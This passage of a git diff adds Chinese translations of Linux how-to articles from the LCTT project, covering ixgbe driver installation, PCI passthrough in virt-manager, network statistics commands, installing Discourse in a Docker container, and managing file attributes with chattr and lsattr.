Gbps, Flow Control: RX/TX + ADDRCONF(NETDEV_CHANGE): eth3: link becomes ready + ixgbe 0000:21:00.1: eth4: NIC Link is Up 10 Gbps, Flow Control: RX/TX + ADDRCONF(NETDEV_CHANGE): eth4: link becomes ready + eth3: no IPv6 routers present + eth4: no IPv6 routers present + +### 第四步: 安装Ixgbe驱动 ### + +当确认驱动已经加载后,就可以安装驱动到系统中了 + + $ sudo make install + +ixgbe.ko将会安装在下列目录 + + /lib/modules//kernel/drivers/net/ixgbe + +此时,编译好的驱动将在启动时自动加载,也可以通过运行命令加载它: + + $ sudo modprobe ixgbe + +![](https://farm9.staticflickr.com/8760/16863416809_804dea1491_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/compile-ixgbe-driver-centos-rhel-fedora.html + +作者:[Dan Nanni][a] +译者:[Vic020](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:https://linux.cn/article-5149-1.html +[2]:http://sourceforge.net/projects/e1000/files/ixgbe%20stable/ diff --git a/published/201506/20150413 Linux FAQs with Answers--How to configure PCI-passthrough on virt-manager.md b/published/201506/20150413 Linux FAQs with Answers--How to configure PCI-passthrough on virt-manager.md new file mode 100644 index 0000000000..c7c2d21fa3 --- /dev/null +++ b/published/201506/20150413 Linux FAQs with Answers--How to configure PCI-passthrough on virt-manager.md @@ -0,0 +1,55 @@ +Linux有问必答:如何在虚拟机上配置PCI直通 +================================================================================ +> **提问**:我想要分配一块物理网卡到用KVM创建的虚拟机上。我打算为这台虚拟机启用网卡的PCI直通。请问,我如何才能在virt-manager里面通过PCI直通增加一个PCI设备到虚拟机上? + +如今的hypervisor能够高效地在多个虚拟操作系统间共享和模拟硬件资源。然而,虚拟资源共享不是总能使人满意,甚至在虚拟机性能是重点考量时,或者是虚拟机需要硬件DMA的完全控制时,应该避免共享。一项名叫“PCI直通”的技术可以用在一个虚拟机需要独享PCI设备时(例如:网卡、声卡、显卡)。本质上,PCI直通穿透了虚拟层,直接将PCI设备放到虚拟机里,而其他虚拟机则不能访问该设备。 + +### 开启“PCI直通”的准备 ### + +如果你想要为一台HVM实例开启PCI直通(例如,一台KVM创建的全虚拟化的虚拟机),你的母系统(包括CPU和主板)必须满足以下条件。如果你的虚拟机是半虚拟化的(由Xen创建),你可以跳过这步。 + +为了在 HVM虚拟机上开启PCI直通,系统需要支持**VT-d** (Intel处理器)或者**AMD-Vi** (AMD处理器)。Intel的VT-D(“英特尔直接I/O虚拟化技术”)是适用于最高端的Nehalem处理器和它的后继者(例如,Westmere、Sandy Bridge的,Ivy Bridge)。注意:VT-d和VT-x是两个独立功能。intel/AMD处理器支持VT-D/AMD-VI功能的列表可以[查看这里][1]。 + +在确认你的设备支持VT-d/AMD-Vi后,还有两件事情需要做。首先,确保VT-d/AMD-Vi已经在BIOS中开启。然后,在内核启动过程中开启IOMMU。IOMMU服务,是由VT-d/AMD-Vi提供的,可以保护虚拟机访问的主机内存,同时它也是全虚拟化虚拟机支持PCI直通的前提。 + +Intel处理器中,通过将“**intel_iommu=on**传给内核启动参数来开启IOMMU。参看[这篇教程][2]了解如何通过GRUB修改内核启动参数。 + +配置完启动参数后,重启电脑。 + +### 添加PCI设备到虚拟机 ### + +我们已经完成了开启PCI直通的准备。事实上,只需通过virt-manager就可以给虚拟机分配一个PCI设备。 + +打开virt-manager的虚拟机设置,在左边工具栏点击‘增加硬件’按钮。 + +选择从PCI设备表一个PCI设备来分配,点击“完成”按钮 + +![](https://farm8.staticflickr.com/7587/17015584385_db49e96372_c.jpg) + +最后,启动实例。这样,主机的PCI设备已经可以由虚拟机直接访问了。 + +### 常见问题 ### + +在虚拟机启动时,如果你看见下列任何一个错误,这个错误有可能由于母机VT-d (或 IOMMU)未开启导致。 + + Error starting domain: unsupported configuration: host doesn't support passthrough of host PCI devices + +---------- + + Error starting domain: Unable to read from monitor: Connection reset by peer + +请确保"**intel_iommu=on**"启动参数已经按上文叙述开启。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/pci-passthrough-virt-manager.html + +作者:[Dan Nanni][a] +译者:[Vic020/VicYu](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://wiki.xenproject.org/wiki/VTdHowTo +[2]:http://xmodulo.com/add-kernel-boot-parameters-via-grub-linux.html diff --git a/published/201506/20150416 Linux Network Statistics Tools or Commands.md b/published/201506/20150416 Linux Network Statistics Tools or Commands.md new file mode 100644 index 0000000000..e4ce5db81d --- /dev/null +++ b/published/201506/20150416 Linux Network Statistics Tools or Commands.md @@ -0,0 +1,356 @@ +Linux网络统计工具/命令 +================================================================================ +我在Linux(基于CentOS 或者 Debian 的发行版)中该如何查看当前网络端口吞吐量的统计信息?在Linux操作系统中如何查看当前内核snmp计数器以及网络端口的统计信息? + +![](http://s0.cyberciti.org/images/category/old/networking.png) + +你可以使用以下任何一个命令: + +### nstat 命令 : 网络统计工具 ### + +键入以下命令: + + # nstat + +输出样例: + + #kernel + IpInReceives 133243 0.0 + IpInDelivers 133243 0.0 + IpOutRequests 92904 0.0 + IcmpOutErrors 97 0.0 + IcmpOutTimeExcds 97 0.0 + IcmpMsgOutType3 97 0.0 + TcpActiveOpens 538 0.0 + TcpEstabResets 56 0.0 + TcpInSegs 129837 0.0 + TcpOutSegs 89720 0.0 + TcpRetransSegs 42 0.0 + TcpOutRsts 704 0.0 + UdpInDatagrams 3255 0.0 + UdpNoPorts 97 0.0 + UdpOutDatagrams 3270 0.0 + Ip6OutNoRoutes 206 0.0 + TcpExtTW 141 0.0 + TcpExtDelayedACKs 508 0.0 + TcpExtDelayedACKLocked 1 0.0 + TcpExtDelayedACKLost 42 0.0 + TcpExtTCPHPHits 117659 0.0 + TcpExtTCPPureAcks 2158 0.0 + TcpExtTCPHPAcks 605 0.0 + TcpExtTCPSackRecovery 1 0.0 + TcpExtTCPLossUndo 16 0.0 + TcpExtTCPSackFailures 4 0.0 + TcpExtTCPFastRetrans 1 0.0 + TcpExtTCPSlowStartRetrans 3 0.0 + TcpExtTCPTimeouts 33 0.0 + TcpExtTCPDSACKOldSent 40 0.0 + TcpExtTCPDSACKRecv 5 0.0 + TcpExtTCPAbortOnData 120 0.0 + TcpExtTCPAbortOnClose 55 0.0 + TcpExtTCPSackShiftFallback 9 0.0 + IpExtInOctets 180131682 0.0 + IpExtOutOctets 7289106 0.0 + +### ss 命令 : 查询套接字工具 ### + +要查看统计汇总, 输入: + + # ss -s + +输出样例: + + Total: 786 (kernel 804) + TCP: 65 (estab 40, closed 7, orphaned 0, synrecv 0, timewait 6/0), ports 56 + Transport Total IP IPv6 + * 804 - - + RAW 1 1 0 + UDP 12 9 3 + TCP 58 52 6 + INET 71 62 9 + FRAG 0 0 0 + +查看[ss 命令教程][1] 获取更多信息。 + +### netstat 命令 : 不错的显示套接字信息的旧工具 ### + +查看所有网络端口以及汇总信息表,输入: + + # netstat -i + +输出样例: + + Kernel Interface table + Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg + eth0 1500 0 941022 0 0 0 688165 0 0 0 BMRU + lo 16436 0 9304 0 0 0 9304 0 0 0 LRU + ppp0 1496 0 3784 0 0 0 4177 0 0 0 MOPRU + +查看每个协议的汇总统计信息,输入: + + # netstat -s + +输出样例: + + Ip: + 1092065 total packets received + 0 forwarded + 0 incoming packets discarded + 1091681 incoming packets delivered + 798913 requests sent out + 895 dropped because of missing route + 759 reassemblies required + 375 packets reassembled ok + Icmp: + 17 ICMP messages received + 0 input ICMP message failed. + ICMP input histogram: + timeout in transit: 8 + echo replies: 9 + 1747 ICMP messages sent + 0 ICMP messages failed + ICMP output histogram: + destination unreachable: 1730 + echo request: 17 + IcmpMsg: + InType0: 9 + InType11: 8 + OutType3: 1730 + OutType8: 17 + Tcp: + 4822 active connections openings + 1129 passive connection openings + 457 failed connection attempts + 165 connection resets received + 7 connections established + 1062519 segments received + 771394 segments send out + 7158 segments retransmited + 6 bad segments received. + 2578 resets sent + Udp: + 20846 packets received + 1730 packets to unknown port received. + 0 packet receive errors + 19242 packets sent + UdpLite: + TcpExt: + 71 invalid SYN cookies received + 8 resets received for embryonic SYN_RECV sockets + 142 packets pruned from receive queue because of socket buffer overrun + 2109 TCP sockets finished time wait in fast timer + 84 packets rejects in established connections because of timestamp + 19454 delayed acks sent + 6 delayed acks further delayed because of locked socket + Quick ack mode was activated 7306 times + 1 packets directly queued to recvmsg prequeue. + 1 bytes directly received in process context from prequeue + 823921 packet headers predicted + 24412 acknowledgments not containing data payload received + 10150 predicted acknowledgments + 242 times recovered from packet loss by selective acknowledgements + 33 congestion windows recovered without slow start by DSACK + 335 congestion windows recovered without slow start after partial ack + 336 TCP data loss events + TCPLostRetransmit: 35 + 1 timeouts after reno fast retransmit + 156 timeouts after SACK recovery + 116 timeouts in loss state + 461 fast retransmits + 5 forward retransmits + 608 retransmits in slow start + 2073 other TCP timeouts + 62 SACK retransmits failed + 43074 packets collapsed in receive queue due to low socket buffer + 8499 DSACKs sent for old packets + 101 DSACKs sent for out of order packets + 308 DSACKs received + 9 DSACKs for out of order packets received + 427 connections reset due to unexpected data + 122 connections reset due to early user close + 28 connections aborted due to timeout + TCPDSACKIgnoredOld: 3 + TCPDSACKIgnoredNoUndo: 60 + TCPSpuriousRTOs: 4 + TCPSackShifted: 282 + TCPSackMerged: 740 + TCPSackShiftFallback: 1017 + IpExt: + InMcastPkts: 47 + OutMcastPkts: 51 + InBcastPkts: 1 + InOctets: 1341508973 + OutOctets: 72525352 + InMcastOctets: 8649 + OutMcastOctets: 7519 + InBcastOctets: 328 + +查看 [netstat 命令教程][2] 获取更多信息。 + +### ip / ifconfig 命令 : 配置或者显示网络端口信息 ### + +键入以下命令: + + # ifconfig + +或者 + + # /sbin/ifconfig + +或者 + + # ifconfig eth0 + +---------- + + eth0 Link encap:Ethernet HWaddr b8:ac:6f:65:31:e5 + inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.255.0 + inet6 addr: fe80::baac:6fff:fe65:31e5/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:966334 errors:0 dropped:0 overruns:0 frame:0 + TX packets:703297 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:1186255648 (1.1 GiB) TX bytes:73968238 (70.5 MiB) + Interrupt:17 + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:16436 Metric:1 + RX packets:9666 errors:0 dropped:0 overruns:0 frame:0 + TX packets:9666 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:1399578 (1.3 MiB) TX bytes:1399578 (1.3 MiB) + ppp0 Link encap:Point-to-Point Protocol + inet addr:10.1.11.70 P-t-P:10.0.31.18 Mask:255.255.255.255 + UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1496 Metric:1 + RX packets:3784 errors:0 dropped:0 overruns:0 frame:0 + TX packets:4177 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:3 + RX bytes:2400265 (2.2 MiB) TX bytes:275983 (269.5 KiB) + +显示网络端口统计信息,输入: + + # ip -s link + +输出样例: + + 1: lo: mtu 16436 qdisc noqueue state UNKNOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + RX: bytes packets errors dropped overrun mcast + 1444187 9960 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 1444187 9960 0 0 0 0 + 2: eth0: mtu 1500 qdisc mq state UP qlen 1000 + link/ether b8:ac:6f:65:31:e5 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 1221956483 991501 0 0 0 24 + TX: bytes packets errors dropped carrier collsns + 75623937 720272 0 0 0 0 + 3: wlan0: mtu 1500 qdisc noop state DOWN qlen 1000 + link/ether 00:21:6a:ca:9b:10 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 0 0 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 0 0 0 0 0 0 + 4: pan0: mtu 1500 qdisc noop state DOWN + link/ether 4a:c7:5f:0e:8e:d8 brd ff:ff:ff:ff:ff:ff + RX: bytes packets errors dropped overrun mcast + 0 0 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 0 0 0 0 0 0 + 8: ppp0: mtu 1496 qdisc pfifo_fast state UNKNOWN qlen 3 + link/ppp + RX: bytes packets errors dropped overrun mcast + 2419881 3848 0 0 0 0 + TX: bytes packets errors dropped carrier collsns + 284151 4287 0 0 0 0 + +### sar 命令: 显示网络统计信息 ### + +输入以下命令 (你需要 [通过sysstat包安装并启用sar][3]): + +sar -n DEV + + Linux 2.6.32-220.2.1.el6.x86_64 (www.cyberciti.biz) Tuesday 13 March 2012 _x86_64_ (2 CPU) + 12:00:01 CDT IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + 12:10:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 12:10:01 CDT eth0 127.13 121.32 95.45 18.34 0.00 0.00 0.00 + 12:10:01 CDT eth1 98.48 110.62 16.72 96.33 0.00 0.00 0.00 + 12:20:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 12:20:01 CDT eth0 139.95 133.41 106.30 19.95 0.00 0.00 0.00 + 12:20:01 CDT eth1 110.65 121.85 18.14 107.13 0.00 0.00 0.00 + 12:30:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 12:30:01 CDT eth0 147.85 132.49 115.78 20.45 0.00 0.00 0.00 + 12:30:01 CDT eth1 111.88 127.39 18.61 117.65 0.00 0.00 0.00 + 12:40:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 12:40:01 CDT eth0 136.75 124.64 105.24 19.48 0.00 0.00 0.00 + 12:40:01 CDT eth1 101.65 115.32 17.58 104.50 0.00 0.00 0.00 + 12:50:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 12:50:01 CDT eth0 131.45 125.69 96.49 19.58 0.00 0.00 0.00 + 12:50:01 CDT eth1 101.41 111.31 17.54 96.78 0.00 0.00 0.00 + 01:00:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:00:01 CDT eth0 140.30 133.27 102.17 20.75 0.00 0.00 0.00 + 01:00:01 CDT eth1 106.90 119.51 18.53 103.09 0.00 0.00 0.00 + 01:10:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:10:01 CDT eth0 152.03 127.74 125.56 19.85 0.00 0.00 0.00 + 01:10:01 CDT eth1 115.60 134.57 18.73 126.96 0.00 0.00 0.00 + 01:20:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:20:01 CDT eth0 138.55 130.55 103.03 20.20 0.00 0.00 0.00 + .... + .. + .... + .. + . + 01:00:01 CDT eth1 156.82 169.48 28.83 138.49 0.00 0.00 0.00 + 01:10:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:10:01 CDT eth0 215.19 194.82 163.11 30.99 0.00 0.00 0.00 + 01:10:01 CDT eth1 162.49 183.79 28.36 163.70 0.00 0.00 0.00 + 01:20:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:20:01 CDT eth0 200.20 192.23 140.64 30.93 0.00 0.00 0.00 + 01:20:01 CDT eth1 153.60 166.96 27.32 140.26 0.00 0.00 0.00 + 01:30:01 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:30:01 CDT eth0 111.98 103.58 79.12 16.52 0.00 0.00 0.48 + 01:30:01 CDT eth1 87.50 95.58 14.74 79.35 0.00 0.00 0.00 + Average: IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + Average: lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + Average: eth0 211.21 196.20 156.18 31.20 0.00 0.00 0.01 + Average: eth1 159.10 174.52 28.00 149.95 0.00 0.00 0.00 + +或者输入以下命令: + + # sar -n DEV 1 3 + +输出样例: + + Linux 2.6.32-220.2.1.el6.x86_64 (www.cyberciti.biz) Tuesday 13 March 2012 _x86_64_ (2 CPU) + 01:44:03 CDT IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + 01:44:04 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:44:04 CDT eth0 161.70 154.26 105.20 26.63 0.00 0.00 0.00 + 01:44:04 CDT eth1 145.74 142.55 25.11 144.94 0.00 0.00 0.00 + 01:44:04 CDT IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + 01:44:05 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:44:05 CDT eth0 162.14 156.31 107.46 42.18 0.00 0.00 0.00 + 01:44:05 CDT eth1 135.92 138.83 39.38 104.92 0.00 0.00 0.00 + 01:44:05 CDT IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + 01:44:06 CDT lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + 01:44:06 CDT eth0 303.92 293.14 272.91 37.40 0.00 0.00 0.00 + 01:44:06 CDT eth1 252.94 290.20 34.87 263.50 0.00 0.00 0.00 + Average: IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s + Average: lo 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + Average: eth0 210.37 202.34 163.19 35.66 0.00 0.00 0.00 + Average: eth1 178.93 191.64 33.36 171.60 0.00 0.00 0.00 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/network-statistics-tools-rhel-centos-debian-linux/ + +作者:[nixCraft][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:https://linux.cn/article-4372-1.html +[2]:https://linux.cn/article-2434-1.html +[3]:http://www.cyberciti.biz/tips/identifying-linux-bottlenecks-sar-graphs-with-ksar.html \ No newline at end of file diff --git a/published/201506/20150417 How to Install Discourse in a Docker Container.md b/published/201506/20150417 How to Install Discourse in a Docker Container.md new file mode 100644 index 0000000000..cb3351a77e --- /dev/null +++ b/published/201506/20150417 How to Install Discourse in a Docker Container.md @@ -0,0 +1,160 @@ +如何在一个Docker容器里安装Discourse +============================================================================= +大家好,今天我们将会学习如何利用Docker平台安装Discourse。Discourse是一个完全开源的讨论平台,以未来十年的互联网理念设计,拥有一个邮件列表,一个论坛和一个长篇聊天室。不管从技术角度还是社会学角度,如今要体验一个现代的、勃勃生机的、完全开源的互联网讨论平台,Discourse都是一个不错的途径。Discourse是一个简单、简明、简易的讨论方式。它确实是一个令人称赞的平台,对于互联网上各种各样的论坛来说,提供了一个上手可用的很酷的服务。 + +Docker是一个开源的、可以将任何应用以轻量级容器的方式打包、传输和运行的开放平台。Docker容器技术使得可以更加方便和容易构建Discourse。 + +所以,下面是一些快速且容易的步骤,用来在一个Docker环境里面安装Discourse。 + +### 1. 安装Docker ### + +首先,我们需要确认我们的主机操作系统已经安装了Docker。我们需要在shell或者终端运行以下命令安装Docker。 + +#### 在Ubuntu上 #### + +docker安装包在Ubuntu的仓库里面是可用的,所以我们将会使用apt管理器安装,以sudo或者root模式 + + # apt-get docker + +#### 在CentOS 7上 #### + +在CentOS 7的主机上,我们使用yum管理器安装docker,因为CentOS的仓库里同样有docker安装包 + + # yum install docker + +![Installing Docker](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-docker.png) + +### 2. 设定交换内存 ### + +如果你的RAM容量小于1GB,那么确保升级你的系统达到1GB或者以上,Discourse不能在512MB的RAM下安装。如果你现在准备好了安装Discourse,根据下面的步骤为你的VPS(Virtual Private Servers)或者服务器设定交换内存: + +运行下面的命令,创建一个空的交换文件。 + + # install -o root -g root -m 0600 /dev/null /swapfile + +如果你想你的交换内存达到1GB,那么执行下面的步骤,并且跳过接下来的第二步。 + + # dd if=/dev/zero of=/swapfile bs=1k count=1024k + +如果你想达到2GB,跳过上一步,跟着下面做 + + # dd if=/dev/zero of=/swapfile bs=1k count=2014k + +接着,我们指定交换内存为swapfile + + #mkswap /swapfile + +运行下面的命令激活交换内存 + + #swapon /swapfile + +现在,我们将其添加到文件系统分区表里,这样重启之后就自动挂载了。 + + # echo "/swapfile swap swap auto 0 0" | sudo tee -a /etc/fstab + +设置swappiness参数为10,这样交换内存仅作为一个紧急缓冲区用。 + + # sudo sysctl -w vm.swappiness=10 + # echo vm.swappiness = 10 | sudo tee -a /etc/sysctl.conf + +### 3. 安装Discourse ### + +在我们的主机上安装好Docker后,我们将会安装Discourse。现在,我们从官方的Discourse GitHub仓库克隆一份到`/var/discourse`目录下。我们需要运行下面的命令完成这一步。 + + # mkdir /var/discourse/ + + # cd /var/discourse/ + + # git clone https://github.com/discourse/discourse_docker.git /var/discourse/ + +克隆好仓库后,我们给discourse服务器复制配置文件 + + # cp samples/standalone.yml containers/app.yml + +![Cloning Discourse Docker](http://blog.linoxide.com/wp-content/uploads/2015/04/cloning-discourse-docker.png) + +### 4. 配置Discourse ### + +接下来,我们用自己喜欢的文本编辑器,编辑容器目录下的discourse配置文件app.yml + + # nano containers/app.yml + +现在,我们需要将开发者邮箱地址DISCOURSE_DEVELOPER_EMAILS修改为自己的,如下。 + + DISCOURSE_DEVELOPER_EMAILS: 'arun@linoxide.com' + +然后,我们设置主机名为服务器的域名。 + + DISCOURSE_HOSTNAME: 'discourse.linoxide.com' + +接着,设置放在相同的discourse主机或vps上的SMTP服务器的认证信息。这些SMTP设置用于你的Discourse发送邮件。 + + DISCOURSE_SMTP_ADDRESS: smtp.linoxide.com + DISCOURSE_SMTP_PORT: 587 # (optional) + DISCOURSE_SMTP_USER_NAME: admin@linoxide.com # (optional) + DISCOURSE_SMTP_PASSWORD: test123 # (optional) + +![](http://blog.linoxide.com/wp-content/uploads/2015/04/discourse-configuration.png) + +如果你在使用一个1GB的Discourse,设定UNICORN_WORKERS为2,db_shared_buffers为128MB,这样你会有更多的内存空间。 + +运行Discourse需要强制性地创建一个邮件服务器。如果你已经有一个服务器了那就好办多了,我们可以使用它的认证信息。如果你没有现成的邮件服务器,或者你不知道那是什么。没关系,可以在[Mandrill][1] (或[Mailgun][2]和 [Mailjet][3])创建一个免费的帐号,然后使用其提供的认证信息。 + +### 5. 启动Discourse应用 ### + +配置完discourse的配置文件后,我们当然是想启动Discourse服务器。首先,在/var/discourse/目录下运行下面的命令,加载discourse引导程序。 + + # ./launcher bootstrap app + +![Starting Discourse Bootstrap](http://blog.linoxide.com/wp-content/uploads/2015/04/starting-discourse-bootstrap.png) + +上述命令可能会花去几分钟时间,会自动配置我们的Discourse环境。然后,该进程完成后,我们需要运行下面的命令启动Discourse App + + #./launcher start app + +![Starting Discourse](http://blog.linoxide.com/wp-content/uploads/2015/04/starting-discourse.png) + +如果一切都正常,我们就能使用惯用的浏览器来访问我们新鲜出炉的 Discourse 的 Web 界面了: http://ip-address/ or http://discourse.linoxide.com/ 。然后,我们就可以创建一个新账号并成为管理员。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/04/Discourse-web-interface.png) + +### 维护 ### + +这里往下是/var/discourse/目录里的 launcher 命令的用法,它可以用于我们在Docker 容器里面控制和维护Disourse。 + + 用法: launcher 命令 配置 [--skip-prereqs] + 命令: + start: 启动/初始化一个容器 + stop: 停止一个运行的容器 + restart: 重启一个容器 + destroy:停止并删除一个容器 + enter: 使用 nsenter 进入容器 + ssh: 在一个运行的容器中启动一个 bash shell + logs: 容器的 Docker l日志 + mailtest: 在容器中测试邮件设置 + bootstrap: 基于配置模版来引导一个容器 + rebuild: 重建一个容器(摧毁旧的,初始化,启动新的) + cleanup: 清理所有停止了24小时以上的容器 + + 选项: + --skip-prereqs 不检查前置需求 + --docker-args 当运行 docker 时,展开并传入参数 + +### 总结 ### + +哈哈!我们已经成功使用Docker技术安装了Discourse。Docker技术使得Discourse十分容易安装在任何平台,并且包含所有的要求。我们需要自己的邮件服务器或者邮件服务器的证书来启动它。对于便捷的现代邮件列表,论坛来说,Discourse是一个伟大的平台。(最后这句有些别扭) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/install-discourse-docker-container/ + +作者:[Arun Pyasi][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://mandrillapp.com/ +[2]:http://www.mailgun.com/ +[3]:https://www.mailjet.com/pricing diff --git a/published/201506/20150420 Managing file and directory attributes in linux using chattr and lsattr command.md b/published/201506/20150420 Managing file and directory attributes in linux using chattr and lsattr command.md new file mode 100644 index 0000000000..052103ddda --- /dev/null +++ b/published/201506/20150420 Managing file and directory attributes in linux using chattr and lsattr command.md @@ -0,0 +1,200 @@ +在Linux中用chattr和lsattr命令管理文件和目录属性 +================================================================================ +为了允许添加数据,防止更改或者删除等,文件和文件夹可以设定了特定的控制属性。例如,你可以在关键的系统文件或者文件夹中启用属性,然后没有任何用户,包括root,可以删除或者修改它,比如不允许使用像dump这样的命令等备份工具去备份一个特定的文件或者文件夹,等等。这些属性只可以在ext2,ext3或者ext4文件系统中的文件和文件夹上设定。 + +有两个命令 **lsattr** 和 **chattr** 用来管理属性。下面是常用属性的列表。 + +注:表格代码 + +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

属性

+
+

描述

+
+

a (append)

+
+

允许在文件中进行追加操作

+
+

A

+
+

这个属性不允许更新文件的访问时间

+
+

c (compressed)

+
+

启用这个属性时,文件在磁盘上会自动压缩

+
+

d (dump)

+
+

不能使用dump命令备份文件

+
+

D

+
+

设置了文件夹的D属性时,更改会在同步保存在磁盘上

+
+

e (extent format)

+
+

它表明,该文件使用磁盘上的块的映射扩展

+
+

i (immutable)

+
+

在文件上启用这个属性时,我们不能更改、重命名或者删除这个文件

+
+

j (journaling)

+
+

设置了这个属性时,文件的数据首先保存在日志中,然后再写入文件

+
+

S (synchronous)

+
+

设置了这个属性时,变更或更改同步保存到磁盘上

+
+ +chattr属性中可以使用的不同选项 : + +- **-R** 递归地修改文件夹和子文件夹的属性 +- **-V** chattr命令会输出带有版本信息的冗余信息 +- **-f** 忽略大部分错误信息 + +在chattr中用于设置或者取消属性的 **操作符** + +- '+' 符号用来为文件和文件夹设置属性, +- '-' 符号用来移除或者取消属性 +- '=' 使它们成为文件有的唯一属性。 + +**chattr** 和 **lsattr** 命令的基本语法 : + + # chattr + + # lsattr + +### 例:1 使用‘i’属性使文件不可更改 ### + + [root@linuxtechi ~]# chattr +i dummy_data + [root@linuxtechi ~]# lsattr dummy_data + ----i----------- dummy_data + +现在试着删除或者修改文件 + + [root@linuxtechi ~]# rm -f dummy_data + rm: cannot remove 'dummy_data': Operation not permitted + + [root@linuxtechi ~]# echo "test" >> dummy_data + -bash: dummy_data: Permission denied + +### 例:2 移除不可更改属性 ### + + [root@linuxtechi ~]# chattr -i dummy_data + [root@linuxtechi ~]# lsattr dummy_data + ---------------- dummy_data + +### 例:3 在文件中只允许追加操作 ### + + [root@linuxtechi ~]# chattr +a dummy_data + [root@linuxtechi ~]# lsattr dummy_data + -----a---------- dummy_data + +现在试着把fstab文件的内容追加到dummy_data文件 + + [root@linuxtechi ~]# cat /etc/fstab >> dummy_data + [root@linuxtechi ~]# + +### 例 :4 使用 -R 选项和 ‘+i’ 属性使文件夹和它的子文件夹成为安全目录 ### + +让我们来新建一个sysadmin文件夹和它的子文件夹 + + [root@linuxtechi ~]# mkdir sysadmin + [root@linuxtechi ~]# mkdir sysadmin/admim_{1,2,3,4,5} + [root@linuxtechi ~]# ls -l sysadmin/ + total 0 + drwxr-xr-x. 2 root root 6 Apr 19 09:50 admim_1 + drwxr-xr-x. 2 root root 6 Apr 19 09:50 admim_2 + drwxr-xr-x. 2 root root 6 Apr 19 09:50 admim_3 + drwxr-xr-x. 2 root root 6 Apr 19 09:50 admim_4 + drwxr-xr-x. 2 root root 6 Apr 19 09:50 admim_5 + +在sysadmin文件夹递归设置不可更改属性 + + [root@linuxtechi ~]# chattr -R +i sysadmin + + [root@linuxtechi ~]# lsattr -R sysadmin/ + ----i----------- sysadmin/admim_1 + sysadmin/admim_1: + ----i----------- sysadmin/admim_2 + sysadmin/admim_2: + ----i----------- sysadmin/admim_3 + sysadmin/admim_3: + ----i----------- sysadmin/admim_4 + sysadmin/admim_4: + ----i----------- sysadmin/admim_5 + sysadmin/admim_5: + [root@linuxtechi ~]# + +现在试着用rm命令删除文件夹 + + [root@linuxtechi ~]# rm -rf sysadmin + rm: cannot remove ‘sysadmin/admim_1’: Permission denied + rm: cannot remove ‘sysadmin/admim_2’: Permission denied + rm: cannot remove ‘sysadmin/admim_3’: Permission denied + rm: cannot remove ‘sysadmin/admim_4’: Permission denied + rm: cannot remove ‘sysadmin/admim_5’: Permission denied + [root@linuxtechi ~]# + 